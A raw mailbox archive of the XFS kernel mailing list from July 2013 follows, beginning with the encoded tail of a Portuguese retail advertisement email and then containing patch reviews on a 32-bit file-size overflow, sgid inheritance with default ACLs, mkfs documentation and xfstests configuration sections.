    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" 8= 54 =C0 vista no boleto
    ou em at=E9 10x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Android 4.0
      =0D • Wi-Fi
      =0D • 4GB
      =0D • 5MP
    = =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 571 = ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""<= /a> 3D""
    NB043GT-P3100TSMZTO
    Tablet Media Player MultilaserGalaxy Tab 2 Samsung 7.0"
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" 289 = ,52
    =C0 vista no boleto=0D
    ou em at=E9 12x= no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 923 ,= 12
    =C0 vista no boleto=0D
    ou em at=E9 12x no car= t=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""
    NP535U3C-AD1BRS7562
    Notebook Ultrafino Samsung=0D Smartphone Samsung Galaxy S Duos
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • AMD Dual-Core
      =0D • 13.3"
      =0D • 500GB
      =0D • Windows 8 =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#= = 1.495 = ,12
    =C0 vista no boleto=0D
    ou em at=E9 = 1= 2x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    = =0D
      = • Dual Chip
      =0D • Android 4.0
      =0D • 5MP
      =0D • 4" =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 676 = ,72
    =C0 vista no boleto<= /td>=0D
    ou em at=E9 12x no c= art=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" 3D"03=<= /a> 3D"04" 3D"05" 3D"06" 3D"07"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"09" = 3D"10" 3D"11" = 3D"12"
    =0D
    3D"14"
    =
    = Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 = 12/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrati= vas.
    =
    *Consulte sua regi=E3o
    =0D =09=09=09=09=09=09=09=09=09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail ofertadequarta@girafa.com.b= r ao seu catálogo de endereços.

    A Girafa re= speita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --43d1ffaeebf7765be2316c8f7208dd66-- From jeff.liu@oracle.com Wed Jul 10 08:14:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1CB097F3F for ; Wed, 10 Jul 2013 08:14:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0FD018F8035 for ; Wed, 10 Jul 2013 06:14:07 -0700 (PDT) X-ASG-Debug-ID: 1373462045-04cb6c2a46ade8f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id uBxwIqhdOIWVN4lL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 06:14:06 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6ADE1g0019711 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 10 Jul 2013 13:14:02 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6ADE01r028511 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 10 Jul 2013 13:14:01 GMT Received: from abhmt114.oracle.com (abhmt114.oracle.com [141.146.116.66]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6ADE0lT022463; Wed, 10 Jul 2013 13:14:00 GMT Received: from [192.168.1.103] (/123.119.96.202) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 10 Jul 2013 06:13:59 -0700 Message-ID: <51DD5E26.7020709@oracle.com> Date: Wed, 10 Jul 2013 21:14:14 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" , "Michael L. Semon" Subject: Re: [PATCH] xfs: fix s_max_bytes to MAX_LFS_FILESIZE if needed References: <5167E160.3020800@oracle.com> <51DCFF04.9070606@oracle.com> <20130710064855.GQ3438@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix s_max_bytes to MAX_LFS_FILESIZE if needed In-Reply-To: <20130710064855.GQ3438@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1373462045 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136357 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, Thanks for the quick response. On 07/10/2013 02:48 PM, Dave Chinner wrote: > On Wed, Jul 10, 2013 at 02:28:20PM +0800, Jeff Liu wrote: >> Could anyone help to review this patch? > > Sorry, I missed it. > >>> On 32-bit machine, the s_maxbytes is larger than the MAX_LFS_FILESIZE limits if CONFIG_LBDAF is >>> not enabled. Hence it's possible to create a huge file via buffered-IO write with a given offset >>> beyond this limitation. e.g. >>> >>> # block_size=4096 >>> # offset=$(((2**32 - 1) * $block_size)) >>> # xfs_io -f -c "pwrite $offset $block_size" /storage/test_file >>> >>> In this case, xfs_io will hang at the page writeback stage soon since the given offset would >>> cause an overflow at xfs_vm_writepage(): >>> >>> end_index = offset >> PAGE_CACHE_SHIFT; >>> last_index = (offset - 1) >> PAGE_CACHE_SHIFT; >>> if (page->index >= end_index) { >>> unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); >>> >>> /* >>> * Just skip the page if it is fully outside i_size, e.g. due >>> * to a truncate operation that is in progress. >>> */ >>> if (page->index >= end_index + 1 || offset_into_page == 0) { >>> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >>> unlock_page(page); >>> return 0; >>> } >>> end_index is unsigned long so that the max value is '2^32-1 = 4294967295', and it >>> would be evaluated to the max value with the given offset(when writing the page offset >>> up to s_max_bytes) for above test case. As a result, (page->index >= end_index + 1) is >>> ok as (end_index + 1) is overflowed to ZERO. >>> >>> Actually, create a file as above on 32-bit machine should be failed with EFBIG error returned >>> because there has strict check up at generic_write_checks() against the given offset with a >>> *correct* s_max_bytes. >>> >>> This patch fix the s_max_bytes to MAX_LFS_FILESIZE if the pre-calculated value is greater >>> than it. > > Isn't MAX_LFS_FILESIZE defined on 32 bit systems to 8TB and the > problem here is that we are overflowing at 16TB? If so, that means > addin gthis patch will potentially cause problems with existing > working setups that have (sparse) files larger than 8TB on 32 bit > systems. Yes, but maybe I should say end_index is wrapped to zero rather than overflow in this situation. > > So, can't we simply subtract PAGE_CACHE_SIZE from the offset > being returned to avoid this overflow? It seems that this change does not works to me because page->index is greater than end_index in most cases for large files. IOWs, what I mentioned in comment log is incorrect and it misled you. I worked out another patch, it looks works for this test but I need to run some extra tests before posting. Thanks, -Jeff From cmaiolino@redhat.com Wed Jul 10 08:23:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 123237F3F for ; Wed, 10 Jul 2013 08:23:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0488F8F8039 for ; Wed, 10 Jul 2013 06:23:10 -0700 (PDT) X-ASG-Debug-ID: 1373462586-04cb6c2a41adefc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id O431d4yi6Z9xoOmA; Wed, 10 Jul 2013 06:23:07 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6ADN4wd004958 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 10 Jul 2013 09:23:04 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-117.phx2.redhat.com [10.3.113.117]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6ADN0nG025761 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Wed, 10 Jul 2013 09:23:03 -0400 Date: Wed, 10 Jul 2013 10:22:58 -0300 From: Carlos Maiolino To: Ben Myers Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Message-ID: <20130710132257.GE11948@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] References: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> <20130708211121.GI20932@sgi.com> <20130708234235.GD3438@dastard> <20130709170608.GR20932@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130709170608.GR20932@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373462587 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Jul 09, 2013 at 12:06:08PM -0500, Ben Myers wrote: > On Tue, Jul 09, 2013 at 09:42:35AM +1000, Dave Chinner wrote: > > On Mon, Jul 08, 2013 at 04:11:21PM -0500, Ben Myers wrote: > > > On Fri, Jun 21, 2013 at 02:45:53PM -0300, Carlos Maiolino wrote: > > > > XFS removes sgid bits of subdirectories under a directory containing a default > > > > acl. > > > > > > > > When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its > > > > code path. Such function is shared among mkdir and chmod system calls, and > > > > does some checks unneeded by mkdir (calling inode_change_ok()). Such checks > > > > remove sgid bit from the inode after it has been granted. > > > > > > > > With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these > > > > checks when acls are being inherited (thanks hch). > > > > > > > > Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities > > > > permissions, this only implies in another try to remove sgid bit from the > > > > directories. Such check is already done either on inode_change_ok() or > > > > xfs_setattr_nonsize(). > > > > > > > > Changelog: > > > > > > > > V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another > > > > function > > > > > > > > V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch > > > > > > > > Signed-off-by: Carlos Maiolino > > > > > > > > - if (mp->m_flags & XFS_MOUNT_RDONLY) > > > > - return XFS_ERROR(EROFS); > > > > + /* If acls are being inherited, we already have this checked */ > > > > + if (!(flags & XFS_ATTR_NOACL)) { > > > > + if (mp->m_flags & XFS_MOUNT_RDONLY) > > > > + return XFS_ERROR(EROFS); > > > > > > > > - if (XFS_FORCED_SHUTDOWN(mp)) > > > > - return XFS_ERROR(EIO); > > > > + if (XFS_FORCED_SHUTDOWN(mp)) > > > > + return XFS_ERROR(EIO); > > > > > > > > - error = -inode_change_ok(inode, iattr); > > > > - if (error) > > > > - return XFS_ERROR(error); > > > > + error = -inode_change_ok(inode, iattr); > > > > + if (error) > > > > + return XFS_ERROR(error); > > > > + } > > > > > > I'm not so sure about this change yet. Looks like the two relevant callers are: > > > > > > .set - xattr_handler > > > xfs_xattr_acl_set > > > xfs_set_mode > > > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > > > > > and > > > > > > xfs_vn_mknod > > > xfs_inherit_acl > > > xfs_set_mode > > > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > > > > > I suggest moving the forced shutdown and readonly checks outside of the > > > XFS_ATTR_NOACL conditional. I'm not seeing those checks in xfs_attr_acl_set or > > > xfs_vn_mknod and it won't hurt to be careful. > > > > In both cases, the read-only checks are done at much higher layers > > and so we don't ever get to xfs_setattr_nonsize() through these > > paths with a read-only filesystem. Shutdown doesn't really matter - > > the transaction commit will fail if the filesystem is shut down... > > > > > It also seems like inode_change_ok might have some other checks that are > > > necessary to determine whether it is ok to update the mode and ctime here. A > > > call to inode_owner_or_capable as is done in inode_change_ok would cover this > > > possibility. > > > > The inode permission checks are already done by xfs_xattr_acl_set(): > > > > if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) > > return -EPERM; > > > > and in the case of xfs_inherit_acl() the user has just created the > > file so they - by definition - have permission to inherit the ACL > > and modify the mode of the inode they just created. > > > > So there is no need for changes to inode_change_ok() here. > > Carlos, if you agree with Dave's assessment consider this > > Reviewed-by: Ben Myers > > let me know what you think and I'll pull it in. > > Thanks, > Ben > Hi Ben, Yes, I agree with Dave's statements, I removed the unneeded checks, because they were done at higher layers. please, feel free to pull it in, my apologies to have not answered it on IRC, it was holiday here and I just saw your message late this morning. Cheers, -- Carlos From cmaiolino@redhat.com Wed Jul 10 08:29:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6B8147F3F for ; Wed, 10 Jul 2013 08:29:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B44A8F8033 for ; Wed, 10 Jul 2013 06:29:55 -0700 (PDT) X-ASG-Debug-ID: 1373462994-04cb6c2a41adf4a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ZG6jMLR6I5eWquEP for ; Wed, 10 Jul 2013 06:29:54 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6ADTqF1002912 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 10 Jul 2013 09:29:53 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-117.phx2.redhat.com [10.3.113.117]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6ADTmTH007076 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Wed, 10 Jul 2013 09:29:51 -0400 Date: Wed, 10 Jul 2013 10:29:46 -0300 From: Carlos Maiolino To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH] mkfs: add missing noalign suboption information Message-ID: <20130710132946.GF11948@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] mkfs: add missing noalign suboption information References: <1373327110-5533-1-git-send-email-cmaiolino@redhat.com> <51DB52E1.8030508@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51DB52E1.8030508@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373462994 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Jul 08, 2013 at 07:01:37PM -0500, Eric Sandeen wrote: > On 7/8/13 6:45 PM, Carlos Maiolino wrote: > > Adds to the mkfs man page, information about noalign mkfs option which is > > missing until now. > > > > Signed-off-by: Carlos Maiolino > > --- > > man/man8/mkfs.xfs.8 | 6 ++++++ > > 1 file changed, 6 insertions(+) > > > > diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 > > index 04c19b4..2435814 100644 > > --- a/man/man8/mkfs.xfs.8 > > +++ b/man/man8/mkfs.xfs.8 > > @@ -244,6 +244,12 @@ will automatically query the logical volume for appropriate > > and > > .B swidth > > values. > > +.TP > > +.BI noalign > > +This option is used to bypass data alignment configuration. In rare > > +circunstances, data alignment might decrease performance, for such cases, > > +use this option to avoid data alignment, this will set stripe unit and > > +stripe width to 0. > > Thanks for this, Carlos. > > I think it might be better to just state plainly that it overrides automatic > stripe unit detection, and leave the tuning / performance parts out. > Most of the manpage today is more "what" than "why." > > So maybe simply: > > +This option disables automatic stripe geometry detection, and creates > +the filesystem without stripe geometry even if the underlying storage > +device reports this information. > > FWIW, there is a 'noalign' option for the realtime subvolume > as well, and that should probably get documented too. > Agreed, going to change and re-send it. > -Eric > > > .RE > > .TP > > .B \-f > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From lczerner@redhat.com Wed Jul 10 09:00:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CEF087F3F for ; Wed, 10 Jul 2013 09:00:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A07BB304066 for ; Wed, 10 Jul 2013 07:00:47 -0700 (PDT) X-ASG-Debug-ID: 1373464846-04bdf02b8eb7cd40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id RGh1jS0EbX7EV9fY for ; Wed, 10 Jul 2013 07:00:46 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0jnR022363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:46 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hbx007249; Wed, 10 Jul 2013 10:00:45 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 01/10] xfstests: Run all tests when nothing is specified Date: Wed, 10 Jul 2013 16:00:30 +0200 X-ASG-Orig-Subj: [PATCH 01/10] xfstests: Run all tests when nothing is specified Message-Id: <1373464839-31535-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1373464839-31535-1-git-send-email-lczerner@redhat.com> References: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464846 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently when no tests or test groups is specified xfstests will silently test nothing. Interestingly enough when test groups to exclude is specified the rest of the tests will be run. This commit changes that to run all possible tests (for a given file system) when no specific tests has been specified. This matches the old xfstests behaviour. Signed-off-by: Lukas Czerner --- check | 6 +++--- group | 5 ----- 2 files changed, 3 insertions(+), 8 deletions(-) delete mode 100644 group diff --git a/check b/check index ff8fbcf..71b179b 100755 --- a/check +++ b/check @@ -115,7 +115,7 @@ get_all_tests() for d in $SRC_GROUPS $FSTYP; do ls $SRC_DIR/$d/* | \ grep -v "\..*" | \ - grep -v group >> $tmp.list 2>/dev/null + grep -v "group\|Makefile" >> $tmp.list 2>/dev/null done } @@ -263,8 +263,8 @@ elif $have_test_arg; then # had test numbers, but none in group file ... do nothing touch $tmp.list else - # no test numbers, do everything from group file - sed -n -e '/^[0-9][0-9][0-9]*/s/[ ].*//p' $tmp.list + # no test numbers, do everything + get_all_tests fi # sort the list of tests into numeric order diff --git a/group b/group deleted file mode 100644 index 4e01f0c..0000000 --- a/group +++ /dev/null @@ -1,5 +0,0 @@ -# QA groups control file -# Defines test groups and nominal group owners -# - do not start group names with a digit -# - comment line before each group is "new" description -# -- 1.8.3.1 From lczerner@redhat.com Wed Jul 10 09:00:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9F3797F3F for ; Wed, 10 Jul 2013 09:00:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 84A7A8F8039 for ; Wed, 10 Jul 2013 07:00:48 -0700 (PDT) X-ASG-Debug-ID: 1373464846-04cb6c2a46ae1ab0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oD5EmcchnyOHs9Gu for ; Wed, 10 Jul 2013 07:00:46 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0iCD022351 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:45 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hbw007249 for ; Wed, 10 Jul 2013 10:00:43 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Subject: [RFC][PATCH 00/10] xfstests: Add support for config section Date: Wed, 10 Jul 2013 16:00:29 +0200 X-ASG-Orig-Subj: [RFC][PATCH 00/10] xfstests: Add support for config section Message-Id: <1373464839-31535-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373464846 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This patch set adds support for sections in the configuration file while maintaining unchanged behaviour when no sections are present in the configuration file, or no configuration file is provided. Explanation, syntax and example follows. Configuration file with sections ================================ Configuration file with sections is useful for running xfstests on multiple file systems, or multiple file system setups in a single run without any help of external scripts. Syntax ------ Syntax for defining a section is the following: [section_name] Section name should consist of alphanumeric characters and '_'. Anything else is forbidden and the section will not be recognised. Each section in the configuration file should contain options in the format OPTION=value 'OPTION' must not contain any white space characters. 'value' can contain any character you want with one simple limitation - characters ' and " can only appear at the start and end of the 'value', however it is not required. Note that options are carried between sections so the same options does not have to be specified in each and every sections. However caution should be exercised not to leave unwanted options set from previous sections. Results ------- For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. Different mount options ----------------------- Specifying different mount options in difference config sections is allowed. When MOUNT_OPTIONS differs in the following section TEST_DEV will be remounted with new MOUNT_OPTIONS automatically before running the test. Multiple file systems --------------------- Having different file systems in different config sections is allowed. When FSTYP differs in the following section the FSTYP file system will be created automatically before running the test. Note that if MOUNT_OPTIONS, MKFS_OPTIONS, or FSCK_OPTIONS are not directly specified in the section it will be reset to the default for a given file system. You can also force the file system recreation by specifying RECREATE_TEST_DEV. Example ------- Here is an example of config file with sections: [ext4_4k_block_size] TEST_DEV=/dev/sda TEST_DIR=/mnt/test SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 RESULT_BASE="`pwd`/results/`date +%d%m%y_%H%M%S`" [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" [xfs_filesystem] MKFS_OPTIONS="-f" FSTYP=xfs [ext3_filesystem] FSTYP=ext3 MOUNT_OPTIONS="-o noatime" From lczerner@redhat.com Wed Jul 10 09:00:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 05BC87F56 for ; Wed, 10 Jul 2013 09:00:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DDC228F8039 for ; Wed, 10 Jul 2013 07:00:52 -0700 (PDT) X-ASG-Debug-ID: 1373464851-04cbb0468ed95cd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GsFHeS82iyEh4jwY for ; Wed, 10 Jul 2013 07:00:52 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0oDL021601 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 10:00:51 -0400 Received: from localhost.localdomain.com (dhcp-1-146.brq.redhat.com [10.34.1.146]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AE0hc3007249; Wed, 10 Jul 2013 10:00:49 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 05/10] xfstests: Allow to re-read configuration Date: Wed, 10 Jul 2013 16:00:34 +0200 